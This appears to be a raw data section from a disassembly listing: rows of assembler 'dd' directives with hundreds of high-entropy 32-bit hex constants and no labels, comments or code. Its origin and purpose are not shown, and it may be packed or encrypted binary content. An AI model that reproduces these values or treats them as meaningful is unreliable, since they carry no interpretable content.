dd 124C168Bh, 0C73CFE0Ah, 1F227E9h, 56264D71h, 8AB45F3Dh
dd 3C461EEAh, 25D1D64Fh, 0A84EFE08h, 38862436h, 49A45C3h
dd 0FA4DC37Fh, 7CE81F3h, 0CB1024AEh, 572202B7h, 8E5C07ABh
dd 3D2C39E9h, 34B8E51Ah, 49A676E3h, 0E0A4DACh, 12754C19h
dd 2ADD4AE5h, 72CC7840h, 0CA2AC079h, 2B852FC9h, 2509D7B0h
dd 0A9841AD0h, 0E8F9F9BBh, 0AE985EEh, 0CA21AB8Ch, 46390166h
dd 7C418425h, 0F4B03B59h, 3EE28333h, 451332DEh, 3FE73F01h
dd 0C16B4279h, 70D5F75Bh, 11B1B0BDh, 0B1516682h, 52CA762Dh
dd 0F6938102h, 19018790h, 64F154ABh, 694E64C5h, 4A36485Ch
dd 0B2D2CF0h, 419F09DCh, 79988D5h, 5B14D03Ah, 0CA207F90h
dd 68572793h, 5512ACDCh, 49831FABh, 0D482E021h, 165AF53Fh
dd 2A2B610Ch, 2EDD80Eh, 0E941F818h, 0C27AD7DFh, 0CA7D1716h
dd 0A1A8AF04h, 0F9C40BACh, 284A1443h, 0A10F29E7h, 65476A58h
dd 6195D502h, 0A1995A9h, 0FD4612D4h, 5B3F6C7Dh, 4CCF61B8h
dd 0DD77EBF3h, 25962B2h, 9CFCE689h, 68EE8160h, 0A5084835h
dd 3C12E948h, 841EB282h, 0EB16AE7Ch, 0D2CD1691h, 2885B22Fh
dd 7BC0BC55h, 105CF4BDh, 1BE0413h, 0C15FB37Eh, 2406E967h
dd 8DEC529Eh, 762770BEh, 0FA59E9A5h, 0B76CF0A5h, 9962D07Ch
dd 683C90E0h, 5C6E138Fh, 4D972C39h, 0DDE42D90h, 572AF4C1h
dd 0B02A62F4h, 76C14369h, 64EF5BD6h, 0D9B3D3DBh, 1B823447h
dd 959849F7h, 89A1C15Dh, 0CA2EE421h, 107E1008h, 4AF27E7Ch
dd 9361B7D3h, 54132EB2h, 3572E65Fh, 2E0CC1EFh, 0E4D855BAh
dd 8152B8C5h, 870105C1h, 405A70EBh, 36690426h, 0BC80F612h
dd 9655FC68h, 9F8C6352h, 0F3A9105Eh, 2D9201D2h, 7B740132h
dd 5EAE51B4h, 4162CDBBh, 2C4EB0B5h, 88B80044h, 0C1805BF9h
dd 96ADB8AEh, 0CAD09D0Fh, 2863CDD6h, 0E4B6541h, 0A109EA31h
dd 0C0ECFDD8h, 0BB4A08B1h, 31E2DE08h, 3658C232h, 40C8416Eh
dd 562C65ADh, 0AF7E916h, 0C60331A9h, 4D47C454h, 4F0F3E1h
dd 44C3D0AEh, 7876A523h, 2926CF7Dh, 2B08F4A7h, 0AD5916F1h
dd 0FE8BC512h, 2F4D0ED0h, 29DD0A47h, 9E58C7h, 0D6152AAEh
dd 0CA5CE2E9h, 0B0A3D33Ch, 30154748h, 0CA406D82h, 385FC42Eh
dd 72E2EBC8h, 5843CA04h, 6409FB6Dh, 7031D847h, 20C4905Ah
dd 524EA876h, 2F10D5A8h
dd 0E8301FFBh, 62E0A6D3h, 2B8609B8h, 647C6B5Bh, 0A51A5625h
dd 911CED50h, 5B3FA652h, 4A95E3D0h, 1453C94h, 84040C8h
dd 0C4D8BD29h, 5A8A152Dh, 51E72406h, 623ACFC7h, 4FA48440h
dd 4652CC36h, 59088156h, 0B3CEBC3Fh, 12BEA234h, 0A156DB0Bh
dd 4D0CE986h, 0E518D6F9h, 0A8882528h, 0AD90FAF0h, 4B019895h
dd 13C988A9h, 7CE53A7Ch, 4F137111h, 16FF7ACEh, 13EF8051h
dd 93BC4F6h, 0C4B6FBCDh, 8B8C692h, 5A75E24h, 0C44A85EFh
dd 6CD8EF70h, 88C75C89h, 0FA5D3128h, 921598FFh, 6054FC09h
dd 47EE1D60h, 2C760942h, 3144C600h, 0CE012746h, 0E76C6BE9h
dd 7896A741h, 7A95C517h, 51506F41h, 5AF01AB5h, 109B17Bh
dd 476C65A2h, 0A07E614Eh, 11018B4Dh, 814FB312h, 0D8B15F7h
dd 0FA79FE01h, 72715812h, 783E9B5Ah, 9540D1D5h, 0DFB60552h
dd 87C5C680h, 2E45DD21h, 47429005h, 29F34302h, 2861F56Ch
dd 0D0C12411h, 272D4003h, 0EABE1B8Ch, 5A09FD7Ah, 0A57B4755h
dd 96F72E89h, 4B5F9106h, 5A175759h, 0B8655812h, 70FA3B13h
dd 5F68588Ch, 36F8265Bh, 9B4551CDh, 829B1BCAh, 26797DD8h
dd 0E9B5B060h, 772B65FEh, 0DACB0153h, 207B7F2Dh, 1DE8D9A5h
dd 0F29F0971h, 8A8909B7h, 8055A734h, 1C38356h, 0E14B4C43h
dd 0F050E917h, 144F6821h, 0EA850F91h, 60FA0101h, 58006459h
dd 0E3814271h, 71C5577Bh, 85D1BD4Bh, 334F3E02h, 261DD658h
dd 597300D9h, 7E681C3Bh, 0FA573762h, 0C2480CF6h, 6F642613h
dd 4237550Bh, 66457FBEh, 54902C9h, 436ED501h, 5CE2142Fh
dd 0D4EDCFE9h, 0FCEC2073h, 3FE94565h, 880C30FFh, 0E3E653DCh
dd 63B0D9EAh, 9857D240h, 779B063Ah, 0E56412Ch, 0BA717309h
dd 0D12B051Dh, 0F13EC180h, 0E9B00992h, 30DFFE17h, 0BAADB3CFh
dd 84EA056h, 0B515F06Fh, 0B22695E0h, 5BCC7782h, 0DB1781BDh
dd 0D825D04h, 13E9458Fh, 0BD02E3FEh, 40207C99h, 0BFD933DFh
dd 60257945h, 800EC9FCh, 0B155B9E9h, 0BAF07E87h, 527AB4DFh
dd 68179358h, 0E0F64223h, 0A011E909h, 540B9DD2h, 5507E6B6h
dd 0AC50CF24h, 0D7F614E7h, 5B124AC0h, 5D643412h, 68F03CABh
dd 0A71C5C26h, 20FC80C2h, 2040DC1h, 0CDA0844Eh, 68EC409Bh
dd 3027FE25h, 0AB15F1C1h, 57966909h, 0B5E70180h, 54B5F56Bh
dd 98EB1CFBh, 49E908DDh, 5244914Eh, 2AB9DB32h, 189505C0h
dd 1DB867C1h, 0DBA1682Dh, 0DAE70C19h, 145EA35h, 0C0F3ADECh
dd 24B4BF0Ah, 510144F7h, 13326855h, 0D53008F5h, 39FB5F92h
dd 252F38AFh, 0B0BEDD01h, 12C82129h, 0B31BC825h, 8EA9B57h
dd 5100A927h, 0D27E1668h, 58FB037h, 296CA3C9h, 3EB7010Ch
dd 6079405Fh, 0F813775Dh, 83AFE4EAh, 58F0C574h, 150744Bh
dd 0B84A469Ch, 3901982Dh, 0FE03BA7Eh, 0AB6374F7h, 0E62EA98Dh
dd 4DF405CAh, 8F804BA4h, 60DA26A2h, 0D8B08E1Ch, 48B7D135h
dd 0B0271426h, 69269827h, 87825D83h, 82796A0Eh, 64BD8589h
dd 0B40EA06Ah, 0B4994C6h, 9C592276h, 0A6325885h, 0C7F2B2BAh
dd 0AAD0880Dh, 27E356Bh, 0E90F165Eh, 9BEBE643h, 0BBCA24B7h
dd 0C607B4E5h, 3F723A3h, 6C492D3Eh, 0F2D21C48h, 0D19D82D8h
dd 2C53EB9Ch, 4AC2F025h, 4377EBF0h, 0B612CBE5h, 0BA2057BAh
dd 60719960h, 5405BF07h, 0DD0EF03h, 16FD19E7h, 0D7D3015Eh
dd 3229E5D9h, 0F8575D91h, 6EF9B782h, 0F5C811C2h, 0E7481653h
dd 78BF68C1h, 1583312Bh, 0EB6DA8h, 76452D26h, 182FCD81h
dd 0C220519h, 1B3E103Fh, 45ED0269h, 0FD7F5FC8h, 4111C5C8h
dd 98C96497h, 1570F73h, 9DC43B3Dh, 0B988AB40h, 0B8FB4078h
dd 2D2D7FFEh, 0C329DD38h, 6802D5D6h, 0E0F6C8D3h, 0F25C9BB1h
dd 4563BF35h, 0B97509Dh, 0BE13F358h, 5769BFDDh, 2EE90608h
dd 403F6EDEh, 11EA5B8Bh, 0BA0D519Dh, 0CAFCCF62h, 0FE29A682h
dd 561FB87Fh, 0CB1A0BC9h, 5A05F001h, 35CBF4F4h, 0C9B72D74h
dd 70BE5554h, 8378E35Bh, 0C271F02Dh, 0D97D4078h, 3A149D51h
dd 0DCC7012Fh, 0AA79C561h, 36C45990h, 4E4D7AD8h, 0FB2584F4h
dd 2C85FCAh, 0B729F5A7h, 4A79B978h, 0F9885E27h, 9E56694Dh
dd 0DBAB86C7h, 0BE54AFBBh, 0C740E424h, 0B7B44013h, 880B3CF9h
dd 0BAB5322h, 0F510FCDFh, 0C4B70A52h, 6C68191Eh, 3B13A51Bh
dd 3EF66040h, 97CCC2BBh, 6601B143h, 395D22D9h, 48C968FDh
dd 92C0137Ch, 0E94C8E7Dh, 2ADBBA26h, 0F1144089h, 0F30F8BAFh
dd 83162314h, 3E9202C2h, 41967D90h, 5C8189ECh, 161A8B2Fh
dd 2DEA6355h, 1870F411h, 0C4764C95h, 0E8C783CDh, 7BC110C0h
dd 3185BD03h, 0C59A6EBEh, 2496F2F5h, 40F581h, 0E829ADEDh
dd 1AFE5E5Dh, 0BD44FB5Fh, 36EE90D7h, 22028236h, 112F06Dh
dd 47FC2CAh, 0B0FB5908h, 0AA9E35C9h, 247F4D27h, 167ACA1Eh
dd 0FF2A25C5h, 0B70E4886h, 0E912D6h, 9437698h, 0FD80A149h
dd 8EAB287Bh, 87A32F5Bh, 985F0D40h, 4B4A0222h, 0F5290801h
dd 3B297C1h, 452CF8BBh, 0F8089854h, 0EEF5CC4h, 0B4E53F84h
dd 18481799h, 0F688DFBFh, 84BD01A9h, 7A787306h, 0FF4BECE8h
dd 4948742Eh, 0A41AD604h, 3DF4E830h, 0D84E892Dh, 0F188FD34h
dd 14D03A07h, 0C437A22Dh, 59D3BE10h, 2517275Ah, 8D180978h
dd 0A63BA2E3h, 253A94F2h, 0CE6CFEF5h, 0E58A3888h, 3389B50Fh
dd 8265661Eh, 0E9A78036h, 98D0407Ch, 1B0F6C7Eh, 51952DD0h
dd 0A5210D1Bh, 29142C19h, 694F9381h, 1324DEDDh, 2DCBAF5Ch
dd 6AD2E90Bh, 3AD56A1Ah, 18B64C22h, 594C9F68h, 8080EE85h
dd 26F378EAh, 63565464h, 0C3E9E0B1h, 0FDCBC193h, 4F6E283Ah
dd 5FFEA994h, 0E0D5497Eh, 82C45627h, 0C2D7672Eh, 68A09053h
dd 0E89FC5EAh, 7B6FF904h, 53B6B85Ah, 0E796563Dh, 0E15A52D4h
dd 4082BAEFh, 0EA4CD666h, 0B05F674Ah, 0FA38D302h, 72988016h
dd 0B511886Ah, 8837672h, 7141C41h, 0B83124C5h, 9F918468h
dd 3B9A0412h, 5771BE85h, 0D93AF756h, 452D2A79h, 0C0963E92h
dd 2F0DBB9Ah, 126BCE3Dh, 0A5B29301h, 188BBB97h, 0FE075615h
dd 3B53F20Fh, 1F0C38ACh, 0F6DE9717h, 18907FFh, 9E41BEC5h
dd 825BBE7Ch, 0D632970Ch, 0C9F9FB42h, 0ABB58982h, 73500209h
dd 0C65905D5h, 3D902DD2h, 2F13124Bh, 0E9B0BFE9h, 33DAD993h
dd 0C685DC98h, 2CA0E6E6h, 0F62FCACDh, 489266DDh, 4A7075B3h
dd 808A29DEh, 0CF685020h, 981EE235h, 4EC75E38h, 49DEB9BBh
dd 841660A6h, 0D337B85Ch, 34308DC7h, 9F4A6D63h, 6C50650h
dd 0AAB34104h, 0FEA22F7Ch, 662F2164h, 8F9EA209h, 80AD04C8h
dd 6D5D0BA8h, 0F7817400h, 283067D4h, 26A4172Dh, 5ADB008h
dd 0F45F07A1h, 2C3A6E69h, 821EBB53h, 0D8013727h, 12681005h
dd 0D9E34D5Bh, 0B051940h, 8752B3Fh, 0E19E5F02h, 206A525Dh
dd 0CA0C6EBh, 8E300A69h, 106A0C27h, 38935CA6h, 955FFA20h
dd 0D275E404h, 0EC7B1316h, 4489B162h, 1B20C324h, 0A8210A41h
dd 8132B7E1h, 57564F18h, 0B42A5F5Eh, 3503EE41h, 29034E17h
dd 4B1A7AF0h, 582ABDEBh, 14D13BFCh, 1DD91337h, 6A12596Dh
dd 644DC90Fh, 7121F75h, 0C5E0B7E9h, 4D57EEEDh, 0A61342FCh
dd 0A9BC57C8h, 0B4C010C8h, 0AE005F2Dh, 0F7A3F97h, 8995D3B8h
dd 89C575A9h, 22E04293h, 20E9B0B1h, 6818BAC3h, 77FF05C2h
dd 67E6BF47h, 306B81E9h, 0C3285BD8h, 39AD5431h, 0DE43097Fh
dd 4FA20851h, 11A02E2Ah, 10600556h, 8FFEFA2h, 472D3013h
dd 0B484850Eh, 0F93021FCh
dd 0E831FE5Fh, 0F324A73h, 0EDCBE9C0h, 68C13D79h, 0AF8827BEh
dd 5C049039h, 0A3BAC330h, 0BB2E306Ch, 9B066568h, 0E8A7BF59h
dd 0E8E59E89h, 0D08D9A7h, 87EB3CFAh, 0B06D81Ah, 600C8BEFh
dd 0FBEEC042h, 847DCE07h, 99F108B1h, 27E9F8FEh, 0D0378798h
dd 97934DD5h, 5B33A265h, 20A05D9h, 0F0D40582h, 0EC3C56C9h
dd 0B3C486BCh, 9B122D5h, 47F81C41h, 0FE659AEBh, 0A56B48B4h
dd 0F58955CEh, 88CDA163h, 0C49D537Fh, 0E7C125C4h, 8008C9DEh
dd 0ABC983A6h, 67DFFA40h, 6D6C51F1h, 4FD6786Ah, 0CE24CAECh
dd 0F1F66215h, 27D5C475h, 0C2186FA4h, 6895C4DDh, 84685383h
dd 902FAF90h, 89865E4h, 290EE150h, 4114EBF1h, 0B67E5FD3h
dd 27BD817Dh, 3E24F248h, 0FA0F0F61h, 124BE92Fh, 0FA495F74h
dd 43260027h, 525D475Ah, 514FC688h, 93C412ACh, 0A6B3F83Eh
dd 3F1A0958h, 63007D39h, 2DD04F3Eh, 0AE0CCFECh, 1817221Eh
dd 801C5A5Ch, 2E07C7CAh, 9DF0D17h, 83E53B75h, 3DFE6C89h
dd 62D1DEE3h, 190397Bh, 6B3C23BBh, 2360E5C1h, 0A3B5502Fh
dd 0F2E0C025h, 4A202D5Bh, 0C2D4DB60h, 3BC9696Ah, 6809297Eh
dd 0F15E646Ch, 58AF0F68h, 0DD063244h, 1EC5594Eh, 7E144DA4h
dd 29BFA4CBh, 0DFDF0217h, 0FECA8000h, 0A3B73A53h, 0E7C0CF00h
dd 52D7F608h, 120EB63Ch, 950E02E6h, 45827DCCh, 48C77BE9h
dd 0C708E33Fh, 60D10706h, 73CB814Bh, 72B52C2Eh, 0D7A8B913h
dd 6FD87627h, 278BD4B5h, 979B67C4h, 0FE170325h, 78FE85A1h
dd 0FD4EE1A8h, 428585F9h, 0EAF7F431h, 386E890Bh, 50A9F87Eh
dd 27E908C2h, 0C7226CEDh, 9C08657Ah, 0BE47561Eh, 0B8D234A4h
dd 8EE15D08h, 0FFB457D8h, 6B219FC1h, 0E2C34747h, 835A8AAAh
dd 10C00248h, 0AD3F012Ah, 9D704FBEh, 212D88B0h, 7DE17512h
dd 7AD10EEh, 0EF9DE91Eh, 55548B66h, 4F05BE81h, 1196929h
dd 80E0FD13h, 750BA2EAh, 97893471h, 5273DC5Bh, 1DA05689h
dd 685EF521h, 2F184224h, 0D9825564h, 0A0CCCBF0h, 0C3285A66h
dd 382A6808h, 1ECE96FFh, 0D40C3EBCh, 0B2D04E3h, 15D82A3Ah
dd 2059D05h, 26F5E907h, 0DAC2BBF7h, 2CD1746Ah, 0DD6858C5h
dd 0FB2DF196h, 6A0B25FBh, 30F01C7Fh, 0EF4FBE69h, 3C241A23h
dd 0CE076F30h, 181C627Bh, 0DF280289h, 1D7AE929h, 4BE8C4D5h
dd 0F431875Eh, 0DE3881FDh, 605302BDh, 8272A3F6h, 0D2A9B484h
dd 0F083B740h, 745BF471h, 556828AFh, 0DA296827h, 6A72200Ch
dd 7250B5h, 0D079882Dh, 0A054020h, 1FE07B17h, 3041670Bh
dd 0CC76ECD8h, 0BB4CB910h, 1649227Ah, 10134C74h, 844B6B84h
dd 4BC3A216h, 86ADBA0h, 21B69A8Ah, 366CC281h, 977A644Ah
dd 0C01B94BAh, 0D3090DE6h, 0F325B097h, 3BE70BF0h, 3B74E923h
dd 84F5D97h, 70444949h, 6F091E22h, 6517DC1Ch, 0D4EBF95Bh
dd 167D69C0h, 893B5963h, 0D001ED48h, 45622D05h, 5374AC1Bh
dd 68505182h, 90FDD8Fh, 67D8678Eh, 1F1AAFE2h, 40DE439Dh
dd 1860CAD8h, 0EA3E9062h, 0BF98959Fh, 0CA9FD390h, 0D3E46123h
dd 0B0E37424h, 800E942Fh, 83E2B5F5h, 9A9E01DEh, 800702Eh
dd 6859D250h, 4248417Eh, 0B0D721A7h, 3F0B795Fh, 571625A0h
dd 5834DAF5h, 4A0C20DBh, 250EE85Fh, 53078911h, 0F8CD9C29h
dd 0D22DBA4Bh, 0C008F37Eh, 62E8B850h, 3401489Dh, 0F4334902h
dd 43404819h, 92183508h, 44881B91h, 71649FD3h, 6AA4836Fh
dd 0F6838FB7h, 0ECEE88D5h, 516EFAC0h, 3C4376B1h, 0E1833FC9h
dd 5E9C0EAh, 93B50C3Ah, 0A941C7A1h, 8FBB050h, 5458B2E3h
dd 0E2700923h, 0E12D1BD9h, 64D0127Dh, 0D4215B54h, 85C2F836h
dd 0F78087DFh, 0C20CFF53h, 0DADE933h, 71617E5Eh, 5AC46930h
dd 1A2D09B8h, 7778ED6Ah, 0D3CB4C2Dh, 3EAC09CAh, 52EED2F6h
dd 0F7C321EAh, 37BF05AEh, 0E088B43Bh, 0DD0BF696h, 0D7E0B252h
dd 0CEA6CB8Fh, 801C30B7h, 0F1192DEEh, 6F4616h, 51EAB84Fh
dd 0F7284C2Fh, 27FBED0h, 19B4AEF2h, 0EC0FC17Ah, 57F30100h
dd 177FB2C8h, 0F4E9E829h, 5E689BD8h, 234AEF0h, 5FC0D3BBh
dd 3C41FBCAh, 57226BE2h, 5A06F11Eh, 1FECA504h, 0F8282D43h
dd 2B64A72Ch, 5ECFA8C3h, 0B773450h, 0AE7EAA8Ch, 0D003076Ah
dd 0B341B353h, 0F48098B4h, 0CCFE039Dh, 0D3F6DC86h, 0EC07087Bh
dd 0E78853DBh, 0CA09F32Fh, 0B8016013h, 950900DAh, 4196057Ch
dd 0F72472D6h, 11783D8h, 82FEFD64h, 0BD6ADB93h, 205B8D6Ch
dd 2394F0F3h, 90999772h, 6F38D5E9h, 2FF1669Ch, 0C4DE5443h
dd 38607A02h, 9DBB5003h, 1C0B4B52h, 5067C723h, 0FA281311h
dd 8977F019h, 0C6E9FD09h, 77ED6AE3h, 6065C4A9h, 0E931D12Fh
dd 5B9D10F8h, 178DA4BEh, 77150BE4h, 34883D8h, 6CE91C39h
dd 20D666A7h, 0B02D8733h, 27F37E7Dh, 405BDDEh, 4474C130h
dd 0E9C254B8h, 0BADF35B9h, 50F15CB6h, 62921CE9h, 4376BF05h
dd 0B1EB1F73h, 74AEF933h, 570BBA70h, 5E3B5AB6h, 0E2DB398Eh
dd 2EE4D0DEh, 5A02B902h, 40316F7Fh, 81949E5Ch, 0CB0E8B52h
dd 9D09B828h, 0ACEB9FA0h, 6AFC1DB9h, 0B99708FCh, 14E1A126h
dd 69C7E181h, 80E2D12Ah, 0B711CA0Ch, 0B0F93157h, 0C2509F51h
dd 0EF83D70Dh, 0F7000AFFh, 587F1360h, 9D04404Dh, 1D30636Ch
dd 1D897A84h, 0AB5804AAh, 4CC81443h, 71045030h, 560C0560h
dd 97C428E9h, 1E095C51h, 17EAF199h, 7593A45Dh, 228E6B5Bh
dd 35D5C2Fh, 3D10F1A9h, 76D330D9h, 277D1D4Dh, 38F5BE73h
dd 9DEDF86Dh, 7CB5A3ECh, 0E05A996Eh, 411EE461h, 8BEAE925h
dd 878F5DEAh, 0CAC24D04h, 130C5224h, 0B53C67Eh, 28402402h
dd 0F6C162CBh, 922E0B06h, 7C3F664h, 1018D868h, 69A8F097h
dd 9EC802ACh, 4D9F815Bh, 7C208B11h, 694495E3h, 8DF31CC0h
dd 98A6C020h, 7DC169E2h, 4DCA6683h, 8B26EA99h, 7F2CD0A5h
dd 0B9AAEF43h, 40823C63h, 9DDAFFEAh, 97CD6120h, 6FCE7041h
dd 174C312Ch, 1DB60Ah, 76673D7Fh, 50BD451Ah, 6D4B798h
dd 686EBC0Bh, 2E58CF9Fh, 1D641E91h, 0A0E0E89h, 0ACAA9AD8h
dd 0F2F1EB4Eh, 5968CBCCh, 0E90B5FA4h, 0ABFEBA8Ah, 88EF5665h
dd 6E13A205h, 0D3F93B2Fh, 6C724E01h, 655CE97Ch, 9C6085EBh
dd 53AA030Fh, 0C1061692h, 775E5B40h, 8A961055h, 20A8BE00h
dd 0EE8167FBh, 433DB20Eh, 8DF6C015h, 0C734ED73h, 0C1C8190Ch
dd 2AF531E3h, 0E3AB99C4h, 82E91681h, 408991EFh, 0B41E28B2h
dd 59FD0FDh, 0FB255AE9h, 788AEF45h, 1FEAE4C4h, 0F0CA97B3h
dd 0F49D01E4h, 0C7BECC40h, 4B61799Fh, 0F17D93C2h, 2302E94Ah
dd 5B0590A2h, 454602EFh, 84DDE779h, 558DBB59h, 953117E0h
dd 4EFC891Ch, 5AADD89Fh, 403BEA57h, 0E953C160h, 0DBA8F1B6h
dd 540535EDh, 0FD0120CCh, 1E089810h, 0DE6DD4E9h, 38054F4Eh
dd 0D3B352D1h, 0C2CF018Ch, 9E754FD3h, 5E585C7Bh, 2C938533h
dd 81A0365Bh, 0AB641D9Ch, 65E921Ch, 1398EEADh, 9B80BA8Ch
dd 0BF812D86h, 904F58C4h, 2AF70411h, 0C005D098h, 232D5FF3h
dd 380D7E1Eh, 7E8C81Eh, 8043E680h, 0A920C9B2h, 5AE8900Fh
dd 0A175F9CEh, 33BF05FCh, 6F67E25h, 665361C1h, 4BC8DFEEh
dd 373FC1F1h, 0CA015AE6h, 68534C18h, 70C42Ah, 362D5A07h
dd 0A0B08913h, 4E16DE5Eh, 0F58C99ABh, 0B89A2445h, 0B15E1E00h
dd 2C70511h, 84275BD9h, 0D454F12Bh, 8A2760E5h, 8EB2539h
dd 0EB809342h, 430B8293h, 3C9DA29h, 7C111802h, 0E2B7E6C1h
dd 0F479F90Fh, 0DF396269h
dd 0E906C653h, 24D7316h, 0A6D43DF2h, 0F65A21DDh, 0BC58029Eh
dd 77659F26h, 54854A7h, 0A30DB568h, 0E413182Eh, 163AB092h
dd 0F879C380h, 89B53A72h, 0DF59EB28h, 0ECD5E5B2h, 0E9550D7Eh
dd 1529849h, 303B96B8h, 681F57E0h, 74DC01BDh, 0EE5B378Ah
dd 0F43E1389h, 0A0CC27Ch, 0F2FA5805h, 2CA0D6B8h, 0EC2F0396h
dd 0D6F9E923h, 0B4BBB002h, 81128E3Ah, 0EE56D1CDh, 5223AA4h
dd 0A069C977h, 2A2AE965h, 0A9A0FDD9h, 6FE156F3h, 0ABA416A8h
dd 8D1025B7h, 0ADA04FE1h, 0B0434BEBh, 382D7A49h, 7D5AC256h
dd 0BD1D6E49h, 33C2ED3Dh, 9AEE75D6h, 520C3385h, 0E2D109Ch
dd 4D8C79EBh, 832CF0A1h, 41A43802h, 19864407h, 0C65A1A12h
dd 68EB02E3h, 0ECB02BF2h, 0D9C0BD3Eh, 6C79CDF2h, 0B8D5FC03h
dd 90734EC5h, 0E75AEEBCh, 0F0C3D127h, 256FB836h, 1D93753Bh
dd 7ECF6AC1h, 0BFE7494h, 15E4A1Ah, 35761D60h, 11709D0Ah
dd 49CE139Eh, 259F5A34h, 769AD22Ah, 18092DF8h, 2B48B734h
dd 0C09EF767h, 5A712940h, 22AE29Fh, 26595DC5h, 378EDD15h
dd 6053DD33h, 0C4E0DA2Dh, 0FB012E14h, 30840F9h, 0BFCF55E3h
dd 0E909978Bh, 0A2DB94A3h, 0D9C793BDh, 9E838AEh, 561C472Ch
dd 881DCE10h, 0E1C2CBEEh, 206BB4F5h, 0EB0F01Dh, 5652C827h
dd 7E6049EAh, 0D3BFDF92h, 52AD173Dh, 800ABB0h, 20C1271Dh
dd 9F50781h, 635D1562h, 49BA6AE5h, 0FC1C41FDh, 0B7558270h
dd 3C87DC02h, 8ECE9E7Dh, 0E3682F6Ah, 0ED5E985Fh, 6A9B0419h
dd 0EBD0DBE9h, 5FC20F41h, 54EC621Fh, 28BB973h, 50F23635h
dd 7D76DC62h, 0CA0E0635h, 81F1348Ch, 0B95EBDC9h, 0F088C12Ah
dd 0E0312FAAh, 80042151h, 4D0EA903h, 648C2250h, 6FA933A3h
dd 487C8813h, 7F257Dh, 351A1D9Bh, 2F5A7E08h, 5A4E27C5h
dd 822CA880h, 5223F995h, 0DBD03F5h, 0BF144ABEh, 0D5E0140Bh
dd 57F88E62h, 8F620275h, 5DECEEB9h, 99F065DAh, 0D12DF694h
dd 0AC84444Eh, 0A6407224h, 27727FB8h, 43565359h, 0C9EA5897h
dd 0A80F075Fh, 4931E941h, 26E4FBA6h, 18DD257Eh, 0A9E6CAC3h
dd 0D4810E8h, 9F7EBD54h, 0E908C159h, 0D482DA4Fh, 86717D53h
dd 78E3E9C2h, 0F3883BF9h, 0AFE662ACh, 0A248D75Ch, 60B05925h
dd 3B4A5B4Eh, 0CD1DC9FCh, 0E9C6BE37h, 4899911h, 0F673B1F2h
dd 0CBDC534h, 0CF1878FEh, 3709AB16h, 0D41900AEh, 0E9172D0Bh
dd 3BC04BF6h, 0C8151BE6h, 9C4B037h, 0FDBFEEFBh, 7F563209h
dd 0A4930792h, 62C2F2EFh, 78E2D730h, 19051F5h, 9E629BC6h
dd 690CBD1Bh, 8CA7C03h, 7E2F5317h, 0DDAD8C3Dh, 6813E11Fh
dd 72EE56D4h, 0C2D5AA8Bh, 42B8FDA9h, 0BE818269h, 0E4FF3144h
dd 0A504F4D9h, 0EB89778Dh, 9425DFC2h, 0D4CB7D2h, 7A7AD8F8h
dd 0A104614Fh, 0C315BEDEh, 2602AE4Ah, 0C0980147h, 1E3FF29Fh
dd 42CEA1F8h, 0E683E9D3h, 0CB828659h, 36E8E70h, 7EE24225h
dd 173A0075h, 777D772Fh, 95716BAh, 59A3B8A5h, 47E21FD4h
dd 6454ADCCh, 3AE50BB7h, 420231BDh, 5501C120h, 25E0C589h
dd 6A5CB5B9h, 0FA015BC5h, 6F657680h, 0C12EB23Ah, 71316DF6h
dd 0DD9B842Bh, 0B415FC2Bh, 5167A48h, 22140F30h, 0CD85B0BFh
dd 74033C25h, 6BE001E9h, 602925A7h, 0DF5809E7h, 18A4C04h
dd 0E9137D62h, 0A4394AA2h, 0B487FC92h, 0CF50A3FBh, 2457CBE9h
dd 0E5EE66A0h, 80C1DB94h, 8852D4C7h, 0D674FE7Ch, 0A72F4390h
dd 0D624924Dh, 157C6B1Fh, 3DE91456h, 2C8408DDh, 0D2E2D9C8h
dd 0AB1C0F57h, 9F91FACBh, 405AF154h, 4A5DB1B0h, 7CB4BCAFh
dd 8820D090h, 49BE06E7h, 3416EB7Dh, 1482BB1Fh, 42A525EEh
dd 0BFD853F1h, 25A47093h, 4A4F098Ch, 1CAFA2AFh, 409ABAB3h
dd 9620FF4Ch, 0A8DD2D16h, 2389C41Eh, 1B95745h, 0B2C804E8h
dd 60A341F0h, 56B7F1D6h, 0FE5E69C0h, 8ABE5512h, 6852D891h
dd 7E883F6Fh, 2FC75AE6h, 4DA8EB07h, 0F361276Eh, 0A2214973h
dd 6558C12Bh, 0EB290162h, 0E4B5EC6Bh, 5EDB382h, 9ECBEF5Eh
dd 0F462F62Dh, 0BBB60E38h, 0A5F68017h, 0E62C47FFh, 87DE8448h
dd 50C6D228h, 0A99969F0h, 0B6401D12h, 20726CBAh, 4468385Ch
dd 814A25CAh, 0ADCB4DD6h, 1225526h, 6775A34Ch, 0A7E28FEh
dd 8DA1069h, 7C3189FFh, 0C0F4185Fh, 8D189501h, 0F9B7A326h
dd 94F4C96Ah, 6CEE6404h, 3E1B00C0h, 45294849h, 0B76B1600h
dd 905CE95Dh, 13ABF195h, 2BB4A13Ch, 0BF232C2Ch, 5BF59762h
dd 0C8C8AD6Ah, 22C2EBB1h, 0F5FB8953h, 4909AAF8h, 7C0DAD66h
dd 4E0720CCh, 64F6F45Bh, 0BA68C060h, 4D8721C3h, 5D109F70h
dd 4CE05A59h, 39681751h, 67E68C7Ah, 654F5302h, 0FF1674E9h
dd 809CC1A0h, 0C5BE2DC1h, 0D673193Fh, 71D1EDD5h, 482157D8h
dd 9538B0E8h, 3E69EE4Bh, 3B68A810h, 1147B50Ch, 420BFE25h
dd 4E5FC098h, 83C5BFE3h, 68B3752Dh, 0E7DA2F51h, 72C2A700h
dd 51363211h, 4B2109B9h, 2DF690B0h, 13A46308h, 160AB95Bh
dd 3D206D0h, 40D6FC1Ch, 540C2683h, 0D2F75A12h, 0BBF352Ch
dd 2D6B4761h, 9C5DB05h, 0E0777A0h, 668C008Ah, 3ED2D731h
dd 0DBC0F51Ch, 0E9266CEFh, 0C09B5C0Eh, 920459D4h, 804C6615h
dd 393B111Bh, 5FEC2858h, 13881CE4h, 541EB9D1h, 7F0203E7h
dd 89226B68h, 1C2A0F6h, 5559FDF7h, 0D7CB2CE7h, 0A5890F9Ah
dd 2917EF7Eh, 0A8C8AAAh, 1E758D68h, 79A327BCh, 840FBC09h
dd 58894133h, 1AF49701h, 0F42E628h, 0F0D68E85h, 0B528B9B5h
dd 0E297B87Dh, 921C7783h, 0EDA15EBFh, 0C92A60C5h, 54876F17h
dd 68E920EAh, 0C7C41198h, 0CCBBACDFh, 0F04F10Eh, 897F5586h
dd 5AD52103h, 39E1E5FAh, 0EFCCC0C5h, 6856B60Eh, 0DE47386Eh
dd 0C589C0EBh, 37D1722Dh, 58FD89Dh, 41087E26h, 6ED10058h
